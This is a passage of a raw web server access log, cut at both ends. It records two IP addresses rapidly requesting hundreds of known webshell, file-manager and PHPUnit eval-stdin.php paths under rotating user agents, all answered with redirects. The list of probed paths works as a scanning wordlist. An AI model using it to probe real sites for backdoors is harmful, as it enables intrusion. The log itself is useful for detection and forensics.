Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:27 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:27 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:27 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:21:28 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:21:28 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:28 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:28 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:29 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:29 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:29 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:29 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:29 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 